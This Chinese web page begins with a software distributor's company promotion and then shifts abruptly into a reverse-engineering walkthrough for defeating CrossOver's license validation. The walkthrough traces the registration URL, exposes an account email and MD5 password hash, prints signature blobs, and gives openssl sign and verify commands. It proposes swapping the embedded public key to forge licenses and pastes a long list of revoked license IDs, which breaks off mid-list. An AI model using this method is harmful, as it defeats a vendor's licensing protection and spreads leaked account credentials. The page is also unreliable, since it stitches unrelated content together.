苏州思杰马克丁软件有限公司，是一家专业的计算机软件发行商。秉承“诚信为本、开拓进取”真诚服务每位用户的经营方针，向用户提供精品软件，获得了广大用户的好评。在挑选软件方面，我们与国内外许多知名的软件生产商有着良好的合作关系；在产品方面，公司与国内外知名的IT厂商密切合作，随时掌握实时的科技信息；在技术方面，我们拥有一批经验丰富的技术和市场专家，为用户提供各类产品的使用技巧以及完善的客户支持。\n公司精心挑选近百款软件，根据其具体市场进行针对性的产品优化，为合作方提供的服务主要有：软件产品本地化，软件产品界面设计， 软件产品功能延伸，软件产品展示平台网站搭建， 软件产品OEM方案，软件产品品牌效益营销，自由的代理分销推广定制模式等多种模式。\n迄今为止成立的10多年中，公司整体规模不断壮大，与国内外多家软件研发公司达成密切合作，在国内外市场上，获得了越来越多用户的喜爱。尽管公司在不断的发展，但在前进道路上的信仰从未改变，我们坚信：让数字工具成就创意与梦想。\n分析 这里从保存license文件流程反向进行分析\n在demoutils.py文件中的register函数开始\ndownload_and_split_license_file函数\nreg_license_url函数定义了url\nURL = \u0026quot;HTTPS://www.codeweavers.com/bin/register/%s;%s;lic;%s;md5;0;bom\u0026quot; % (login, mdPassword, distversion.DEMO_EXTREP)\n根据上面的函数，构造出了urlhttps://www.codeweavers.com/bin/register/Mantis3481@synology.pub;abe24bed196afe25dde6d2c9c66648ee;lic;0;md5;0;bom 密码为强密码，也不怕被爆破\nlicense 信息为\n[license] \u0026lt;!-- SHA2-256 Signature 31d6768020086ddc1a317cf8e1a27b4852346260d05f3ebf6989f8e546297e16c01e4e2245b8b3c14b8eb62a0d20f7a951b663f75a0eebab77ba40892a36e00541cc6e8e5641e0d90503434f893ebfa1d9f38f1c590d3d713149201fc2ebb2fb922caeb8c916e2a6aba6a9bf58c2e06aae700ce50270cac58e489cf573494151599529e6701f551af4af1058b8526f1b64f75b86a32f97c16f9d11a5100d1a581317d06fcdf80ccfa38a15739180408b9714a558b0ae0fdd84358cd51c57cfa7d82a918b37683753268c7ee49af45c7bcf561dec25500f732050841457c36cbced16239ccf75f8169837dd0cfba9a2bc6a48706f4512b8294a568f06f198bbb0 --\u0026gt; \u0026lt;!-- Signature 0f71616e4288866e0e9ab3bfa6e5bb992df73f8b3ba97388ab916290a71480efce68c0db8b6c195b1d70933e5f21882c6e24688a4f8f42a9ac1fa670568812ef4797034d1a03d3ecddfda03ede8ee6cc8798faca2242d77a67cdc3738f67829796d3e99d2acc6efccbbd57740683725465e21fb413ed7a42894c3129812c7a61b9b332c674b1cae85a72197d206e8407f8cc982f23493fb1af38af86d89bd569c26f11a1d6c83754258a4fd9871db4125fbc8c030f28c5cb09389d2e3c8d99cf2926bda37e0b3b674af7cf9bcae49e50efe4d9de858ae1585c20268ad94d0ea21d191f9df8000d40a621c3e57e9ee090b0131d2a85bee94de056dd37b2fa3fae --\u0026gt; 接着看获取到的licenseBuffer进入到checkLicenseDownload函数中进行了处理，这里进行跟进\ncheckLicenseDownload函数主要是判断返回信息中是否有错误的，这里可以忽略\n如果没有错误，就进入到了splitLicenseAndSigFromBuffer函数中进行处理\n先把字节流（licenseBytes）按照utf-8进行编码\n再经过fileupdate.save_data_and_sig函数进行处理，输出license文件和sig签名文件\n对license文件进行验证的是is_signed函数\n使用openssl进行摘要验证\nopenssl dgst -sha256 -verify tie.pub -signature license.sha256 license 如果要是生成签名文件，则使用下面命令\nopenssl dgst -sha256 -sign private.key -out license.sha256 license 到了这里大概就是替换公钥即可，但是license文件结构还是不知道，可以全局进行搜索，看看有哪些地方进行了解析\n在crossoverui.py中的CheckRegistrationOperation类中的main函数中使用demoutils.demo_status函数验证状态\n看上去license.txt授权文件为明文的ini格式 直接获取下面内容\nusername = licenseData[\u0026#39;crosslin\u0026#39;].get(\u0026#39;customer\u0026#39;) expiration = licenseData[\u0026#39;crosslin\u0026#39;].get(\u0026#39;expires\u0026#39;) licenseID = licenseData[\u0026#34;license\u0026#34;].get(\u0026#39;id\u0026#39;) 在函数的54-55行中，对licenseID进行了判断\nif licenseID in c4profilesmanager.C4ProfilesSet.get_revoked_licenses(): return (True, username, expiration, licenseID, True) 这里需要licenseID不在c4profilesmanager.C4ProfilesSet.get_revoked_licenses函数中即，在/opt/cxoffice/share/crossover/data目录下的crossover.tie文件有个disabledlicenses标签\n共有1349个不被允许的licenseID\n\u0026lt;disabledlicenses\u0026gt; \u0026lt;id\u0026gt;hV5x1EhTKhgSMUhk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fCXW2trrXw2MaWmR\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hWJzq8MM8416mXvZ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;1UAUn3jQD67Vpvsj\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2pKkhXAe1CtczAnb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;A8JtU5Y3sf3vYXK9\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pe89YAvh91bQ3Wua\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;zXfbz1tPyTMNDEZK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Yueu4YzFejDAfA6H\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;1326652YhT25CfXj\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;u8agfgfJ6jxvrg9s\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;qnp6BFG2akFYpC6w\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;bprQXVAMaVdXyQcX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;cVxZE3K4ncrxXfEy\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;BAkQaPK8xFzCwPmv\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;rtvqkQWd1RjWKcA2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;X4BEpXMKfJ3EP2Qz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;bbEVXtn9AvuypRPK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XYzV4kbXMChvFFPV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;YzACwwg6BAdz3TqE\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;CRmUJe76pTuNREcg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;7nhxhWCD6Mh33b4J\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;a6cuSeTwbGyJNatw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;b9wEFDkVSxUMvhN5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;DpZRZXQUgGFEKypp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;DuBCEA528DZXGmbu\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;TkU6CPT9e7FG7cVC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ymxUbSAYNHn8JBDQ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;JRZSfdjj9ARf12ZF\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6evHg3tmM4XbQfjF\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;B65ghWsrzRrdvGKS\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Bv2rdW2hCWKePQ7p\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;dgFt3baCBnmE4W26\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;GTNCBsXbB12MGKtY\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fsVKSuv5S4N87v1a\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uhfr84aJdg29gcjV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;VzfHdU8xqmHb5bkK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wsDd9VmRGnFEbyNH\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;cXsQe1hsm1NDC1qt\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;bp9yTrSnjTewmFtc\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;DwxUEqC1JJkABnDg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FKThahNFgv57T2Ph\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ykRmRnNBQKXdCwV5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;dncJH97MXVthNvfx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6ZC5dGGS92qyyR7S\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2Us4r8Fy5eUsGvxA\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;J5Cr9tcCtDJ4dcJF\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;SEhAd5C2DxMQ4Bmg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6Bh3PVmNHF1mwkRE\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;kefka5wNUGen1vuA\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;JCdfp4gnB2YMSBkz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;8ZZ1PjTWMEnF7w9H\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tQNCUP77qwsunzpZ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Bfu5USurYWMCTmkA\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;t76xWcFCU79DBQem\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;H8ndeC9xTqpZJbkS\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;jTdUvPGKRRMSm7jz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;nAmkfSMZwyACYh9j\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uGhqhFDHSnVC5f5a\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XrSsCD7rZBz7uuYb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;cVwKjF76swPgPQs1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;D7ZEv6t3h7KUBkGF\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;DchnXkN4DR92878A\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fc6zbePRtRQFj24U\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;SFYSXdjKKxUJ5wCV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2gCu7ux7Nvp27HGm\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;9VBfxH5qtYQGdsJK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ADpS1bW5wHWrsUfJ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hea6uStNyvzKdZPa\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;qdzuBmQeWqtxjf8m\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ue3uebpC6sgr1KJn\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;eqZuy2UappbYqgPc\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;CqxWgKvZjVqsGTnr\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;gpHSGyUHYXFJYNuU\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;TryaK2vzcMhHZd8v\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;TKaghFWs6qTDEXMs\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;VdgmUqFBsPEaPZKh\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6MJQCGS2MSnUerts\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;bSjvU1vaSuEHWZHT\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Ms8dbbmZK4GYG2cw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3ZueEeU1W2Xj17En\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;H76uJGkcUkEq4uD1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mJCr6ZSE9XdnRwfG\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pTpUaR48dRwzYXZ2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;PYDVmwmqbrV9gm2y\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;SsXyuStc3Nwb92Bh\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tQvXgaReUFfvw7yr\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;qmyqxbrNDpQXqs2p\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xCQeJXhVkfF4BE42\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;9feY5uSSGe8GNkg3\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;BhdDs8jfsJ2qEzAp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;qW7ZgDp3E5btR9vk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;kzmMF5KbtCEVqYqx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xMXNb5XBYHCHrp8t\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;a6ZuXuWxqJeeWYnx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;U1Xcc3JHjUyVJ589\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;DvqHFwQQV9kgx8QM\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;g43FJHAaZkqDGqyp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;gyeGgSSS4c8eW3y8\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;kSbHe9bBzupeSkC6\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;NrMqR7qrEsQpBSZG\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;TBTVZzVpDhWHhFkb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;4MhAaDjCaWvZU1h8\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3N3q4kxSNPKB6KQC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wAqzvwUQVcMPwRTU\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;4ATDPhRdKyU55hpr\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;atEEXzTb5NpuphUM\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;dQ9feD3JAuN5JKy2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fCfc8YVr4azWbUp1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;JbnPYRFHM8yTauvK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Kt6HY5ugX7hUY5sq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;qmkwPm7tGTrNyCBp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;w6dvv8PmAWuGm49K\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XPAne78F4KHC2bgC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;zuejTvuXJ6r2xr29\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fwnx4ncBh8E15u6u\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;HydJhBB6uheNgtDT\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wa2Rum5zSbkq1eYs\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;X6qU4kPFJfQggajk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xZQBKVjRNuZxxZxg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;A3RcgJXBdhmW79AC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;CcfpaPbaAJF9XKsQ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hRNff98SBGaka4a7\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tHQXCUKz8BsDXFwB\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ufS94MtVPXQyaV1Y\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Vgtf4AcZ28WMfQeS\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mXBt5tWbeJhM5Gfq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3K6KhhEDHY3RrTpz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;8GsHfnBFZAFsDqmz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;e7qccbzuaS5E4s9R\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;K3NnDYZeqjWM55ZM\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;K5EdGSMtbj1VdrqV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pnDESYb6NvsFv4Sd\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;r8XEufD91cWHBDG5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZTg22bcFEpUxpuMt\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;debYNw99sU9sWvgX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ErXrnnEu5qbKabC2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;sY2VFXHm6rrcKfhD\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;BerX6y7WnXUB99QH\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hMeMQQXk1dkFWFe9\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tSjHZ94Gu1VaYAyX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;WswvCTUQ3vq5h4j9\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;K5NNQfVHXs8UepUF\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;M6trM21xpSc6SQQU\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Pw9SwNJ3nuvGuQzz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;1CcFp4HJnUT2AqES\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3yhhpVWcgEcxBSwJ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;V7N8fvzRFXNpQ6cE\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xfKhrC4eyEmT1PMx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;1NMewMT4z3VgnEY1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;nz7APYnCmmprrRz1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uHPtndHX6F3kaWrR\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XBY35cGDpjvKcAEk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XQypCHrKzd21EmTC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;kjJ387uadXXjfnM2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;QnVCjB6Fea7PBZuV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xtafem6kxERDj7Tx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;88VpFjw3HCRHj3CV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;d9JamXNbXMPzcvBj\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;1jbk96hyQgxCM53b\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;nfyqVc9aUFUMGRyB\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;phQKr4scRt5g86cg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Z1V7C4nX8DAERjm2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6JC35eb4AT2pSFtD\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;7HzKtfhnYMEHHmW9\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;gQWymFejcwEHt398\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6G4KS3gztEnrjSBw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;KjUMNddQjpcJSR3C\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;saRuC4b74xYasNm3\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FwnyyYxSJCHYRSnf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;hPH5uRBTn9vcr2ff\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fYbqeCCntrN4cxVe\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;HYcvAaum4CTAe1eb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;G5SnCrAZEBeHU7aj\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;8w3mFsGYGEyBzzmz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Arp66v7vtVyE7BRc\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;1dKBUSccWaUShrX8\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;db18sdHkepyCb87G\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FrKyuYPkHefBjk7R\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;PhJJ7DNBUk1wxY5N\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;scrUduTnwgpb4pAg\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;2GTueJfc6Jppk2je\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;8dkQBJqzDMJB7sgD\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;AtSzuUE9U1eGV3pK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ThMcuCs6PnhFAFdX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;7dacMxjjV2hjjySb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mjRWfnvfvRWUFT1c\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6FTapJgCMu3Xygp1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;BU825MMGMz5uX98M\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ez3nDFgWja4PcFR5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wFy53GUgGTgPWPXE\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XD4AqGa7UTxtqsMG\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;prCepKUDuPx45Rwp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;C1fTkfuVD2hfgn2G\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tf2Puu3RVxudEWS4\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XDQ1QFsJrwtYcYjJ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;CEZpWj9JmwmV4QZD\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;9Z8NxXKGkxQVA8GR\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;RafKKh6fQUy1W79M\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3Q8jeKJWA9ZgA5dp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;E3ybgCYbtKdm6Jx6\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Fxp6ggeHPYKDbktu\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Rg2XVMwTtbRxwMa1\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uCQj6YkXGs2XsAmG\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wXazMQCSCvNnxf2U\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;yAAJJX32nnp5eTSw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;R5a2zMk6XKWb7adP\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;H8M4Ffnk9dx5MY99\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;jjS1gZGSec18rf5A\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;nJrgmK6Jb5WXWt6s\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3H9kztTHwqCfNhwe\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;cq1Ah6fHWQ6d4aPq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pusDjAW7159w6GKB\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uVYVwE3fka1yGKrv\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;wqCQdnBgFBWA9Sun\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Xk5nmDsFApeCkKrr\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ZPsdn6fSXHbAejcz\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ccRgxVH7Bh7NTQ7P\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;reCbBVQAWFMCgecN\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;7xKgQtzkwMS9w6FR\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;8qbzdbAPXRaFDW2e\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;cskagegX2GGRdpBs\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Dmr5PvtHg7WFKJEP\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;K7E8fcg4mg9h3htd\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;kJ6abc6jxrNymNxY\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mprXWYjAa5efBejw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;VXENq5eWVZ2KwbNa\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;dEf7T3cMPp8HR9jK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;EarYAm5JhsPDRcjH\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FGDpV4GaWSkhKM1j\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ygdsPhDzyGKP4UCQ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;u8SeM4sZ6nCaK1Pe\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;vwDYks2B1gQzkJhf\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xUaxgJvYCYYUyGFN\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;nCTsY4NHFkUCNe2D\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;DkVbBWDcNQwYXces\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uSB8AuuHKx1ZN2He\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;5eKHndudRkNV4N7q\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;7D43RsB6cGaZDgNR\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;F6BEQ8jJH8QXeeyT\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;FttmAGFkTPHc88DX\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;fWk1P39J773eyv8Z\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;jBMYqvrnaGQpApn2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Jt2XwK7yJrH6T6R7\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;KQnfERHn8NM9PbWw\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;P8wMZBRTH427mqKp\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;pgCTft9WPXQeKA3b\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;PVjZ8He9aCCx8Awb\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;SkSTKJCfy5GA4zBx\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;T535kAjS9frDzXFK\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;tx1Bt7eBM5xQ88Ms\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uHyq6F5ubXfvF4dZ\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XDcqqEswdwCMAUW2\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;bz1yXpckt25wkWy4\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;6y9Au3uQArddm3Gm\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;rqvsF6eTN1r4a9sC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;eg6CJbPVDftz4Qp5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;QFwBXaGPMv3SxR9N\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;XTG3wz6mhZsqNHZC\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;ypNJjTuB7DvqZQ6n\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;5q4RunTZx5Kzn7bM\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;3NYEtd2NGYDAjb3B\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Edn24haV5NpFTVmk\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;EFFwvm8hVg6TGtjN\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;gNM3H16Vz31jMYD5\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;K36jesMzktj8sDTq\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;mQny12Q7s1sFhQBV\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;uHBKhMjgdgRUSn1d\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;vg7Ntwwjj4exEnBY\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;x66ErcRz8w5FUpYD\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Z7XN72zW9CVfgZFt\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;xgeWPMFHmtmuNBHr\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;Cn2FBus2VMQCQN7p\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;HFbeQ6Wc6DCVxuKs\u0026lt;/id\u0026gt; \u0026lt;id\u0026gt;AbbFt6VPBmhV5PFw\u0026lt;/id\u0026gt; 